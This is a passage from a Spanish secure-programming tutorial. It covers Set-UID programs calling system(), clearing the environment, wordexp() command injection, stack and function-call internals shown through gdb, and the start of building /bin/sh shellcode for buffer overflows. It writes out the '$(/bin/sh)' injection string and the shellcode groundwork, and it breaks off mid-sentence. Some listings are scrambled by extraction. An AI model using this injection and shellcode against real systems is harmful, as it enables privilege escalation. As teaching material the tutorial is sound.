execl (" /bin/lpr", "lpr"," -Plisting", "stats.txt", NULL);
perror ("execl");
exit (-1);
}
/* el proceso del padre */
waitpid (pid, & status, 0);
if ((! WIFEXITED (status)) || (WEXITSTATUS (status) != 0)) {
perror ("Imprimiendo");
retorno (-1);
}
¡Obviamente, el código se pone más pesado! En algunas situaciones, se pone bastante
complejo, por ejemplo, cuando usted debe redirigir la aplicación a la entrada estándar como en:
system ("mail root < stat.txt");
Es decir, el redireccionamiento definido por < se hace desde la shell. Usted puede hacer el
mismo, usando un trabajo complejo con sucesiones como fork (), open (), dup2 (), execl (), etc.
En ese caso, una solución aceptable sería usando la función system (), pero configurando
completamente el ambiente.
Bajo Linux, las variables de ambiente se guardan en la forma de un puntero en la tabla de
carácteres: char ** environ. Esta tabla termina con NULL. Los strings son de la forma
"NAME=value"
Nosotros empezamos quitando el ambiente que usa en la extensión Gnu:
clearenv del int (void);
o forzando al puntero
extern char ** environ;
para tomar el valor NULL. Luego las variables de ambiente importantes se inicializan usando
valores controlados, con las funciones:
int setenv (const char * name, const char * value int remove)
int putenv(const char *string)
antes de llamar a la función system () . Por ejemplo:r
clearenv ();
setenv ("PATH"," /bin:/usr/bin:/usr/local/bin", 1);
setenv ("IFS"," \t\n", 1);
system ("mail root < /tmp/msg.txt");
Si es necesario, usted puede devolver el contenido de algunas variables útiles antes de quitar el
ambiente (HOME, LANG, TERM, TZ,etc.). El contenido, la forma, el tamaño de estas
variables debe verificarse concienzudamente. Es importante que usted quite de todo el
ambiente, antes de redefinir las variables que necesitará. El agujero de seguridad de suidperl no
habría aparecido si el ambiente hubiese sido previamente removido.
En forma similar, protegiendo primero una máquina en una red implica denegar cada conexión.
Luego, se activan los servicios requiridos o útiles. De la misma manera, al programar la
aplicación de un Set-UID , el ambiente debe aclararse y entonces debe llenarse con las
variables requeridas.
Verificando si el formato del parámetro es aceptable comparándolo con el valor esperado de los
formatos permitidos. Si la comparación tiene éxito, el parámetro se valida. De otra manera, se
rechaza. Si usted ejecuta la prueba usando una lista de expresiones inválidas del formato,
aumenta el riesgo de dejar valores erróneos y puede ser un desastre para el sistema.
Nosotros debemos entender lo peligroso que es con system () , como también, es más peligroso
para algunos funciones derivadas como popen (), o con llamadas al sistema como execlp () o
execvp () teniendo en cuenta la variable PATH.
Comandos de ejecución indirecta
Para mejorar el diseño de los programas, es fácil de dejarle conducir al usuario la habilidad de
poder configurar la mayoría del software , usando macros por ejemplo. Manejar variables o los
modelos genéricos como lo hace la shell; hay una poderosa función llamada wordexp ().
Usted debe tener mucho cuidado con ella, desde enviar una cadena como $(commande) , que
permite ejecutar el mencionado comando externo.
Basta con darle la cadena " $(/bin/sh)" para conseguir la shell del Set-UID. Para evitar
semejante cosa, wordexp () tiene un atributo llamado WRDE_NOCMD dejando fuera de
funcionamiento la interpretación de las secuencias $().
Cuando invocamos comandos externos usted debe ser cuidadoso con no llamar una utilidad que
proporcione un mecanismo de escape hacia la shell (como por ejemplo, la secuencia vi
:!command ). Es difícil de listarlos todos, algunas aplicaciones son obvias (editores del texto,
administradores de archivos...), otros son más difíciles de descubrir (como hemos visto con
/bin/mail) o tienen modos de depuración peligrosos.
Conclusión
¡Todo programa externo al Set-UID del superusuario debe validarse! Esto involucra a las
variables de ambiente como también a los parámetros dados al programa (línea de comandos,
archivo de configuración...);
Los privilegios tienen que ser reducidos en cuanto el programa empiece y sólo deben
aumentarse muy brevemente cuando no hay ningún otro medio;
La " profundidad de la seguridad" es esencial: cada decisión de protección reduce el número de
personas que la puedan romper. El próximo artículo hablaremos sobre la memoria, su
organización, la llamadas de funciones... antes de alcanzar al desbordamiento de memoria
temporal. Nosotros también veremos como se construye un shellcode.
Parte II – Memoria, pila y funciones, código
shell
Memoria
¿Qué es un programa?
Supongamos que un programa es un conjunto de instrucciones, expresado en código máquina
(independientemente del lenguaje usado para escribirlo) que comunmente llamamos un binario
o binary. Al compilarse para generar el archivo binario, el programa fuente contiene variables,
constantes e instrucciones. Esta sección presenta la distribución de la memoria de las
diferentes partes del binario.
Las diferentes áreas
Para entender lo que sucede mientras se ejecuta un binario, echémos un vistazo a la
organización de la memoria. Recae en diferentes áreas:
memory loyout
Generalmente esto no es todo, pero solamente nos enfocamos en las partes que son mas
importantes para este artículo.
La orden size -A file --radix 16 devuelve el tamaño de cada área reservada al compilar. De ahí
obtenemos sus direcciones de memoria (también puede usarse la orden objdump para obtener
esta información). Aquí está la salida de size para un binario llamado "fct":
>>size -A fct --radix 16
fct :
section
size
addr
.interp
0x13 0x80480f4
.note.ABI-tag
0x20 0x8048108
.hash
0x30 0x8048128
.dynsym
0x70 0x8048158
.dynstr
0x7a 0x80481c8
.gnu.version
0xe 0x8048242
.gnu.version_r 0x20 0x8048250
.rel.got
0x8 0x8048270
.rel.plt
0x20 0x8048278
.init
0x2f 0x8048298
.plt
0x50 0x80482c8
.text
0x12c 0x8048320
.fini
0x1a 0x804844c
.rodata
0x14 0x8048468
.data
0xc 0x804947c
.eh_frame
0x4 0x8049488
.ctors
0x8 0x804948c
.dtors
0x8 0x8049494
.got
0x20 0x804949c
.dynamic
0xa0 0x80494bc
.bss
.stab
.stabstr
.comment
.note
Total
0x18 0x804955c
0x978
0x0
0x13f6
0x0
0x16e
0x0
0x78 0x8049574
0x23c8
El área de texto contiene las instrucciones del programa.
Esta área es de solo-lectura. Se comparte entre cada proceso que ejecuta el mismo binario. Al
intentar escribir en esta área se genera un error segmentation violation .
Antes de explicar las otras áreas, recordemos algunas cosas acerca de variables en C. Las
variables global son usadas en el programa completo mientras que las variables locales son
usadas solamente dentro de la función donde son declaradas. Las variables static tienen un
tamaño conocido dependiendo del tipo con que son declaradas. Los tipos pueden ser char, int,
double, pointers, etc. En una máquina tipo PC, un apuntador representa una dirección entera de
32 bits dentro de la memoria. Obviamente, el tamaño del área apuntada se desconoce durante la
compilación. Una variable dynamic representa un área de memoria explícitamente reservada realmente es un apuntador que apunta a una dirección de memoria reservada. Las variables
global/local, static/dynamic pueden combinarse sin problemas.
Regresemos a la organización de la memoria para un proceso dado. El área de data almacena
los datos estáticos globales inicializados (el valor es proporcionado en el momento de la
compilación), mientras que el segmento bss contiene los datos globales no inicializados. Estas
áreas se reservan en el momento de la compilación dado que su tamaño se define de acuerdo
con los objetos que contienen.
¿Qué hay acerca de variables dinámicas y locales? Se agrupan en un área de memoria reservada
para la ejecución del programa (user stack frame). Dado que las funciones pueden invocarse
recursivamente, no se conoce con anticipación el número de instacias de una variable local. Al
crearse serán colocadas en la pila o stack. Esta pila se encuentra hasta arriba de las direcciones
mas altas dentro del espacio de direcciones del usuario, y trabaja de acuerdo con un modelo
LIFO (Last In, First Out). El fondo del área del marco del usuario o user frame se usa para la
colocación de variables dinámicas. A esta área se le llama heap : contiene las áreas de memoria
direccionadas por apuntadores y variables dinámicas. Al declararse, un apuntador es una
variable de 32 bits, ya sea en BSS o en la pila, y no apunta a alguna dirección válida. Cuando
un proceso obtiene memoria (i.e. usando malloc) la dirección del primer byte de esa memoria
(también un número de 32 bits) es colocado en el apuntador.
Ejemplo detallado
El siguiente ejemplo ilustra la distribución de la variable en memoria:
/* mem.c */
int index = 1; //in data
char * str;
//in bss
int nothing; //in bss
void f(char c)
{
int i;
//in the stack
/* Reserves 5 characters in the heap */
str = (char*) malloc (5 * sizeof (char));
strncpy(str, "abcde", 5);
}
int main (void)
{
f(0);
}
El depurador gdb confirma todo esto.
>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions. Type "show copying"
to see the conditions. There is absolutely no warranty
for GDB. Type "show warranty" for details. This GDB was
configured as "i386-redhat-linux"...
(gdb)
Pongamos un punto de rompimiento (breakpoint) en la función f() y ejecutemos el programa
hasta este punto :
(gdb) list
7
void f(char c)
8
{
9
int i;
10
str = (char*) malloc (5 * sizeof (char));
11
strncpy (str, "abcde", 5);
12 }
13
14 int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem
Breakpoint 1, f (c=0 '\000') at mem.c:12
12
}
Ahora podemos ver el lugar de las diferentes variables.
1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb) print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>: 0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261
0x00000065
La orden en 1 (print &index) muestra la dirección de memoria para la variable global index.
La segunda instrucción (info) proporciona el símbolo asociado a esta dirección y el lugar en la
memoria donde puede ser encontrado : index, una variable estática global inicializada esta
almacenada en el área data.
Las instrucciones 3 y 4 confirman que la variable estática no inicializada nothing puede ser
encontrada en el segmento BSS.
La línea 5 despliega str ... de hecho el contenido de la variable str, o sea la dirección
0x80495a8. La instrucción 6 muestra que no se ha definido una variable en esta dirección. La
orden 7 nos permite obtener la dirección de la variable str y la orden 8 indica que puede ser
encontrada en el segmento BSS.
En la 9, los 4 bytes desplegados corresponden al contenido de la memoria en la dirección
0x804959c : es una dirección reservada dentroi del heap. El contenido de la 10 muestra nuestra
cadena "abcde" :
hexadecimal value : 0x64 63 62 61
0x00000065
character
: d c b a
e
Las variables locales c e i estan colocadas en la pila.
Observamos que el tamaño devuelto por la orden size para las diferentes áreas no corresponde
con lo que esperabamos al seguir nuestro programa. La razón es que aparecen otras variables
diferentes declaradas en bibliotecas al ejecutar el programa (variables tipo info bajo gdb para
generalizar).
La pila (stack) y el montón (heap)
Cada vez que se llama a una función, debe crearse un nuevo ambiente dentro de la memoria
para las variables locales y los parámetros de la función (aquí ambiente significa todos los
elementos qeue aparecen mientras se ejecuta una función : sus argumentos, sus variables
locales, su dirección de regreso en la pila de ejecución... este no es el ambiente para las
variables shell que mencionamos en el artículo anterior). El registro %esp (extended stack
pointer) contiene la dirección de la parte mas alta de la pila, que esta en el fondo de nuestra
representación, pero seguiremos llamandole la parte alta para completar la analogía con una
pila de objetos reales, y apunta al último elemento agragado a la pila; dependiendo de la
arquitectura, este registro puede apuntar algunas veces a al primer espacio libre en la pila.
La dirección de una variable local dentro de la pila podría expresarse como un relativo a %esp.
Sin embargo, siempre se estan agregando o quitando elementos a la pila, entonces el offeset de
cada variable necesitaría ser reajustado y eso es muy ineficiente. El uso de un segundo
apuntador permite mejorar eso : %ebp (extended base pointer) contiene la dirección de inicio
del ambiente de la función actual. Así, es suficiente con expresar el offset relacionado con este
registro. Permanece constante mientras se ejecuta la función. Ahora es fácil encontrar los
parámetros y variables locales dentro de las funciones.
La unidad básica de la pila es la palabra o word : en CPU's i386 es de 32 bits, es decir 4 bytes.
Esto es diferente en otras arquitecturas. En CPU's Alpha una palabra es de 64 bits. La pila
solamente maneja palabras, lo que significa que cada variable colocada usa el mismo tamaño
de palabra. Veremos esto con mas detalle en la descripción de una función prolog. El
despliegue del contenido de la variable str usando gdb en el ejemplo anterior lo ilustra. la orden
gdbx despliega una palabra completa de 32 bits (se lee de izquierda a derecha ya que es una
representación little endian).
La pila es generalmente manipulada con solo dos instrucciones de cpu :
●
push value : esta instrucción pone el valor en la cima de la pila. Decrementa %esp en
una palabra para obtener la dirección de la siguiente palabra disponile en la pila, y
almacena el value dado como un argumento en esa palabra;
● pop dest : pone en 'dest' el elemento de la cima de la pila. Pone en dest el valor
contenido en la dirección a la que %esp apunta e incrementa el registro %esp. Nada es
realmente quitado de la pila, para ser preciso. Solo cambia el apuntador a la cima de la
pila.
Los registros
¿Qué son exactamente los registros? Pueden verse como cajones que contienen solamente una
palabera, mientras que la memoria esta hecha de una serie de palabras. Cada vez que se coloca
un nuevo valor en un registro, se pierde el valor anterior. Los registros permiten comunicación
directa entre memoria y CPU.
La primera 'e' que aparece en el nombre de los registros significa "extended" e indica la
evolución entre las viejas arquitecturas de 16 bits y las actuales de 32 bits.
Los registros pueden dividirse en 4 categorías :
1. registros generales : %eax, %ebx, %ecx and %edx usados para manipular datos;
2. registros de segmento : 16bit %cs, %ds, %esx and %ss, contienen la primera parte de
una dirección de memoria;
3. regsitros de offset : indican un offset relacionado con un registro de segmento :
● %eip (Extended Instruction Pointer) : indica la dirección de la siguiente
instrucción que será ejecutada;
● %ebp (Extended Base Pointer) : indica el inicio del ambiente local para una
función;
● %esi (Extended Source Index) : contiene el offset los datos fuente en una
operación que usa un bloque de memoria;
● %edi (Extended Destination Index) : contiene el offset de los datos destino de
datos en una operación que usa un bloque de memoria;
● %esp (Extended Stack Pointer) : la cima de la pila;
4. registros especiales : son usados únicamente por el CPU.
Nota: todo lo dicho aquí acerca de registros es orientado a x86; alpha, sparc, etc tienen registros
con nombres diferentes pero con funciones similares.
Las funciones
Introducción
Esta sección presenta el comportamiento de un programa desde su llamada hasta su
finalización. Durante esta sección usaremos el siguiente ejemplo :
/* fct.c */
void toto(int i, int j)
{
char str[5] = "abcde";
int k = 3;
j = 0;
return;
}
int main(int argc, char **argv)
{
int i = 1;
toto(1, 2);
i = 0;
printf("i=%d\n",i);
}
El propósito de esta sección es explicar el comportamiento de las funciones de arriba tomando
en cuenta la pila y los registros. Algunosa ataques tratan de cambiar la manera en que se
ejecuta un programa. Para entenderlos, es útil conocer lo que sucede normalmente.
La ejecución de una función se divide en tres pasos :
1. el prólogo (prolog) : al iniciar una función, ya se preparó el escenario, guardando el
estado de la pila antes de iniciar la función y reservando la memoria necesaria para
ejecutarla;
2. el llamado a la función (call) : cuando se llama a una función, sus parámetros se
colocan en la pila y se guarda el apuntador de instrucción (IP) para permitir que la
ejecución de la instrucción continúe a partir del lugar correcto cuando haya concluido
la ejecución de la función;
3. el regreso de la función (return) : dejar las cosas como estaban antes de llamar a la
función.
El prólogo
Una función siempre empieza con las instrucciones :
push %ebp
mov %esp,%ebp
push $0xc,%esp
//$0xc depends on each program
Estas tres instrucciones constituyen lo que se conoce como el prólogo (prolog). El diagrama 1
detalla la manera en que trabaja la función de prolog toto() explicando las partes de los
registros %ebp and %esp :
Inicialmente, %ebp apunta en la memoria a cualquier
dirección X. %esp está mas abajo en la pila, en la
dirección Y y apunta a la última entrada de la pila. Al
prolog
iniciar una función, se debe salvar el "ambiente
actual", es decir %ebp. Dado que se coloca %ebp
dentro de la pila, %esp se decrementa por una palabra
de memoria.
Esta segunda instrucción permite construir un nuevo
"ambiente", colocando a %ebp en la cima de la pila.
environment
Entonces %ebp y %esp apuntan a la misma palabra de
memoria que contiene la dirección del ambiente
previo.
Ahora tiene que reservarse el espacio de pila para las
variables locales. El arreglo de caracteres es definido
con 5 elementos y necesita 5 bytes (un char es un
byte). Sin embargo la pila solo maneja words, y solo
puede reservar múltiplos de un word (1 word, 2 words,
3 words, ...). Para almacenar 5 bytes en el caso de un
stack space for local variables
word de 4 bytes, se deben usar 8 bytes (es decir 2
words). La parte en gris podría usarse, aún cuando
realmente no es parte de la cadena. El entero k usa 4
bytes. Este espacio es reservado decrementando 0xc
(12 in hexadecimal) al valor de %esp . Las variables
locales usan 8+4=12 bytes (i.e. 3 words).
Diag. 1 : prólogo de una función
Además del mecanismo mismo, lo importante a recordar aquí es la posición de las variables
locales : las variables locales tienen un offset negativo en relación con %ebp. La instrucción
i=0 en la función main() ilustra esto. El código de ensamblador (cf. debajo) usa
direccionamiento indirecto para accesar a la variable i :
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
El hexadecimal 0xfffffffc representa el entero -4. La notación indica colocar el valor 0 en la
variable que se encuentra a "-4 bytes" en relación con el registro %ebp. i es la primera y única
variable en la función main(), por tanto su dirección está 4 bytes (i.e. tamaño entero) "debajo"
del registro %ebp.
La llamada
De igual forma que el prólogo de una función prepara su ambiente, la llamada a una función le
permite a esta función recibir sus argumentos, y una vez concluida, regresar a la función que la
llamó.
Como ejemplo, tomemos la llamada a toto(1, 2).
argument on stack
call
Antes de llamar a una función, se almacenan en la pila los
argumentos que necesita. En nuesro ejemplo, los dos enteros
constante 1 y 2 se almacenan en la pila primero, comenzando
con el último. El registro %eip contiene la dirección de la
siguiente instrucción a ejecutar, en este caso la llamada a la
función.
Al ejecutar la instrucción call, %eip toma el valor de la
dirección de la siguiente instrucción que se encuentra 5 bytes
después (call es una instrucción de 5 byte - cada instrucción no
usa el mismo espacio, dependiendo del CPU). Entonces call
guarda la dirección contenida en %eip para poder regresar a la
ejecución después de correr la función. Este "respaldo" se hace
con una instrucción implícita que guarda el registro en la pila :
push %eip
El valor dado a call como un argumento corresponde a a
dirección de la primera instrucción del prólogo de la función
toto(). Entonces esta dirección es copiada a %eip, así se
convierte en la siguiente instrucción a ejecutar.
Diag. 2 : Llamada a función
Una vez que estamos en el cuerpo de la función, sus argumentos y la dirección de regreso
tienen un offset positivo en relación a %ebp, ya que la siguiente instrucción coloca a este
registro en la cima de la pila. La instrucción j=0 en la función toto() ilustra esto. El código
Ensamblador otra vez usa direccionamiento indirecto para accesar a j :
0x80483ed <toto+29>:
movl $0x0,0xc(%ebp)
El hexadecimal 0xc representa el entero +12. La notación indica colocar el valor 0 en la
variable que se encuentra "+12 bytes" en relación al registro %ebp. j es el segundo argumento
de la función y se encuentra 12 bytes "arriba" del registro %ebp (4 para el respaldo del
apuntador de instrucción, 4 para el primer argumento y 4 para el segundo argumento - cf. el
primer diagrama en la sección regreso)
El regreso
La salida de una función se hace en dos pasos. Primero debe limpiarse el ambiente creado para
la función (i.e. poniendo %ebp y %eip como estaban antes de la llamada a la función). Una vez
hecho esto, se debe checar la pila para obtener información relacionada con la función de la que
estamos saliendo.
El primer paso se hace dentro de la función con las instrucciones :
leave
ret
La siguiente se realiza dentro de la función donde se hizo la llamada y consiste en limpiar de la
pila los argumentos de la función llamada.
Tomemos el ejemplo anterior de la función toto().
initial situation
Aquí describimos la situación inicial antes de la llamada y el
prólogo. Antes de la llamada, , %ebp estaba en la dirección
X y %esp en la dirección Y . >A partir de ahí colocamos en
la pila los argumentos de la función, guradammos %eip y
%ebp y reservamos algo de espacio para nuestras variables
locales. La siguiente instrucción ejecutada será leave.
La instrucción leave es equivalente a la secuencia :
mov ebp esp
pop ebp
leave
restore
stacking of parametres
La primera regresa a %esp y %ebp al mismo lugar en la
pila. La segunda coloca la cima de la pila en el registro
%ebp. Con solamente una instrucción (leave), la pila está
como habría estado sin el prólogo.
La instrucción ret restaura %eip de tal manera que la
ejecución de la función que hizo la llamada, inicia de nuevo
donde debería, es decir después de la función que estamos
terminando. Por esto, es suficiente con tomar el contenido de
la cima de la pila y colocarlo en %eip.
Aún no estamos en la situación inicial ya que los argumentos
de la función todavía estan en la pila. La siguiente
instrucción será quitarlos, representada con su dirección Z+5
en %eip (notemos que el direccionamiento de instrucción se
incrementa, al contrario de lo que sucede con la pila).
La colocación de parámetros en la pila se hace en la función
que hace la llamada, lo mismo sucede con la remoción de
ellos de la pila. Esto se ilustra en el diagrama opuesto con el
separador entre las instrucciones en la función llamaday el
add 0x8, %esp en la función que la llama. Esta instrucción
regresa a la cima de la pila tantos bytes como parámetros
usados por la función toto(). Los registros %ebp y %esp
estan ahora en la situación que estaban antes de la llamada.
Por otro lado, el regsitro de instrucción %eip se movió hacia
arriba.
Diag. 3 : Regreso de la función
Desensamblado
gdb permite obtener el código Ensamblador correspondiente a las funciones main() y toto() :
>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc. GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions. Type "show copying" to see
the conditions. There is absolutely no warranty for GDB.
Type "show warranty" for details. This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main
//main
Dump of assembler code for function main:
0x80483f8 <main>: push %ebp //prolog
0x80483f9 <main+1>: mov %esp,%ebp
0x80483fb <main+3>: sub $0x4,%esp
0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp)
0x8048405 <main+13>: push $0x2 //call
0x8048407 <main+15>: push $0x1
0x8048409 <main+17>: call 0x80483d0 <toto>
0x804840e <main+22>: add
$0x8,%esp //return from toto()
0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax
0x804841b <main+35>: push %eax //call
0x804841c <main+36>: push $0x8048486
0x8048421 <main+41>: call 0x8048308 <printf>
0x8048426 <main+46>: add $0x8,%esp //return from
printf()
0x8048429 <main+49>: leave
//return from main()
0x804842a <main+50>: ret
End of assembler dump.
(gdb) disassemble toto
//toto
Dump of assembler code for function toto:
0x80483d0 <toto>: push %ebp //prolog
0x80483d1 <toto+1>: mov %esp,%ebp
0x80483d3 <toto+3>: sub $0xc,%esp
0x80483d6 <toto+6>: mov
0x80483db <toto+11>: mov
0x80483de <toto+14>: mov
0x80483e3 <toto+19>: mov
0x80483e6 <toto+22>: movl
0x80483ed <toto+29>: movl
0x80483f4 <toto+36>: jmp
0x80483f6 <toto+38>: leave
0x80483f7 <toto+39>: ret
End of assembler dump.
0x8048480,%eax
%eax,0xfffffff8(%ebp)
0x8048484,%al
%al,0xfffffffc(%ebp)
$0x3,0xfffffff4(%ebp)
$0x0,0xc(%ebp)
0x80483f6 <toto+38>
//return from toto()
Las instrucciones sin color corresponden a las instrucciones de nuestro programa, como
asignaciones para instancias.
Creando un código shell
En algunos casos es posible actuar sobre el contenido de la pila de proceso, sobreescribiendo la
dirección de regreso de una fucnión y haciendo que la aplicación ejecute algún código
arbitrario. Es especialmente interesante para un cracker si la aplicación se ejecuta bajo una ID
diferente de la del usuario (Colocando programa o demonio-UID). Este tipo de error es
particularmente peligroso si una aplicación como un lector de documentos es arrancado por
algún otro usuario. El famoso error del Acrobat Reader, donde un documento modificado era
capaz de generar un sobreflujo del buffer. También ocurre en servicios de red (ie : imap).
Aquí iniciamos estudiando el código mismo, el que queremos ejecutar desde la aplicación
principal. La solución mas simple es con un pedazo de código que corra un shell. Entonces el
lector puede realizar otras acciones como cambiar los permisos del archivo /etc/passwd. Por
razones que mas adelante resultarán obvias, este programa debe hacerse en lenguaje
Ensamblador. Este tipo de programa pequeño que se usa para ejecutar un shell se conoce como
código shell o shellcode.
Los ejemplos mencionados estan inspirados en el articulo de Aleph One' "Smashing the Stack
for Fun and Profit" del número 49 de la revista Phrack.
Con lenguaje C
El propósito de un shellcode es ejecutar un shell. El siguiente programa C hace esto :
/* shellcode1.c */
#include <stdio.h>
#include <unistd.h>
int main()
{
char * name[] = {"/bin/sh", NULL};
execve(name[0], name, NULL);
return (0);
}
Entre el conjunto de funciones capaces de llamar a un shell, hay muchas razones que
recomiendan el usro de execve(). Primero, es una verdadera llamada a sistema, a diferencia de
las otras funciones de la familia exec(), que son en realidad funciones de la biblioteca GlibC
construidas a partir de execve(). Una llamada a sistema se hace mediante una interrupción.
Basta con definir los registros y sus contenidos para obtener un pequeño código Ensamblador
efectivo.
Aún mas, si execve() tiene éxito, el programa que hace la llamada (en este caso la aplicación
principal) es sustituido por el código ejecutable del nuevo programa e inicia su ejecución.
Cuando la llamada a execve()falla, continua la ejecución del programa. En nuestro ejemplo, el
código fue insertado en la mitad de la aplicación atacada. Continuar con la ejecución no tendría
sentido e incluso podría ser desastroso. Por tanto, la ejecución debe terminar tan pronto como
sea posible. Una sentencia return (0) permite salir de un programa solamente cuando es
llamada desde la función main(), lo cuál no ocurre aquí. Entonces debemos forzar la
terminación mediante la función exit().
/* shellcode2.c */
#include <stdio.h>
#include <unistd.h>
int main()
{
char * name [] = {"/bin/sh", NULL};
execve (name [0], name, NULL);
exit (0);
}
De hecho, exit() es otra función de la biblioteca que envuelve a la llamada al sistema _exit().
Un nuevo cambio nos lleva aún mas cerca del sistema :
/* shellcode3.c */
#include <unistd.h>
#include <stdio.h>
int main()
{
char * name [] = {"/bin/sh", NULL};
execve (name [0], name, NULL);
_exit(0);
}
Ahora, es momento de comparar nuestro programa con su equivalente Ensamblador.
Llamadas de Ensamblador
Usaremos gcc y gdb para obtener las instrucciones Ensamblador correspondientes a nuestro
pequeño programa. to get the Assembly instructions corresponding to our small program.
Compilaremos shellcode3.c con la opción de depuración (-g) e integraremos dentro del
programa mismo las funciones normalmente encontradas en bibliotecas compartidas con la
opción --static. Ahora tenemos la información necesaria para entender la manera en que
trabajan las llamadas a sistema _exexve() y _exit().
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
Luego, con gdb, buscamos nuestras funciones equivalentes en Ensamblador. Esto es para Linux
en plataforma Intel (i386 y posteriores).
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions. Type "show copying"
to see the conditions. There is absolutely no warranty
for GDB. Type "show warranty" for details. This GDB was
configured as "i386-redhat-linux"...
Le pedimos a gdb que liste el código Ensamblador, más particularmente la función main().
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:
push %ebp
0x8048169 <main+1>: mov %esp,%ebp
0x804816b <main+3>: sub $0x8,%esp
0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp)
0x804817c <main+20>: mov $0x8071ea8,%edx
0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp)
0x8048184 <main+28>: push $0x0
0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax
0x8048189 <main+33>: push %eax
0x804818a <main+34>: push %edx
0x804818b <main+35>: call 0x804d9ac <__execve>
0x8048190 <main+40>: push $0x0
0x8048192 <main+42>: call 0x804d990 <_exit>
0x8048197 <main+47>: nop
End of assembler dump.
(gdb)
Las llamadas a funciones en las direcciones 0x804818b y 0x8048192 invocan a las subrutinas
de la biblioteca de C que contienen las llamadas reales al sistema. Note que la instrucción
0x804817c : mov $0x8071ea8,%edx llena el registro %edx con un valor que parece una
dirección. Examinemos el contenido de la memoria de esta dirección, desplegándola como una
cadena :
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
Ahora sabemos dónde está la cadena.Echémos un vistazo a el listado de desensamblado de las
funciones execve() y _exit() :
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>: push %ebp
0x804d9ad <__execve+1>: mov %esp,%ebp
0x804d9af <__execve+3>: push %edi
0x804d9b0 <__execve+4>: push %ebx
0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi
0x804d9b4 <__execve+8>: mov $0x0,%eax
0x804d9b9 <__execve+13>: test %eax,%eax
0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call 0x0
0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push %ebx
0x804d9c9 <__execve+29>: mov %edi,%ebx
0x804d9cb <__execve+31>: mov $0xb,%eax
0x804d9d0 <__execve+36>: int $0x80
0x804d9d2 <__execve+38>: pop %ebx
0x804d9d3 <__execve+39>: mov %eax,%ebx
0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call 0x8048c84
<__errno_location>
0x804d9e2 <__execve+54>: neg %ebx
0x804d9e4 <__execve+56>: mov %ebx,(%eax)
0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov %ebx,%eax
0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop %ebx
0x804d9f1 <__execve+69>: pop %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:
mov %ebx,%edx
0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx
0x804d996 <_exit+6>: mov $0x1,%eax
0x804d99b <_exit+11>: int $0x80
0x804d99d <_exit+13>: mov %edx,%ebx
0x804d99f <_exit+15>: cmp $0xfffff001,%eax
0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
La llamada real al kernel se hace mediante la interrupción 0x80, en la dirección 0x804d9d0
para execve() y en 0x804d99b para _exit(). Este punto es común para varias llamadas al
sistema, así que la distinción se hace con el contenido del registro %eax. Respecto a execve(),
tiene el valor 0x0B, mientras que _exit() tiene el 0x01.
El análisis de las instrucciones de estas funciones en Ensamblador nos proporcionan los
parámetros que usan :
●
execve() necesita varios parámetros :
● el registro %ebx contiene la dirección de la cadena que representa el comando a
ejecutar, en nuestro ejemplo "/bin/sh" (0x804d9b1 : mov 0x8(%ebp),%edi
seguido por 0x804d9c9 : mov %edi,%ebx) ;
● el registro %ecx contiene la dirección del arreglo argumento (0x804d9c2 : mov
0xc(%ebp),%ecx). El primer argumento debe ser el nombre del programa y no
necesitamos más : un arreglo que contiene la dirección de la cadena "/bin/sh" y
un apuntador NULL será suficiente;
● el registro %edx contiene la dirección del arreglo que representa el programa
que inicia el ambiente (0x804d9c5 : mov 0x10(%ebp),%edx). Para mantener
nuestro programa simple usaremos un ambiente vacío : basta con un apuntador
a NULL.
●
la función _exit() termina el proceso, y regresa un código de ejecución a su padre
(generalmente un shell), contenido en el registro %ebx ;
Ahora necesitamos la cadena "/bin/sh", un apuntador a esta cadena y un apuntador NULL (para
los argumentos dado que no tenemos alguno y para el ambiente dado que tampoco definimos
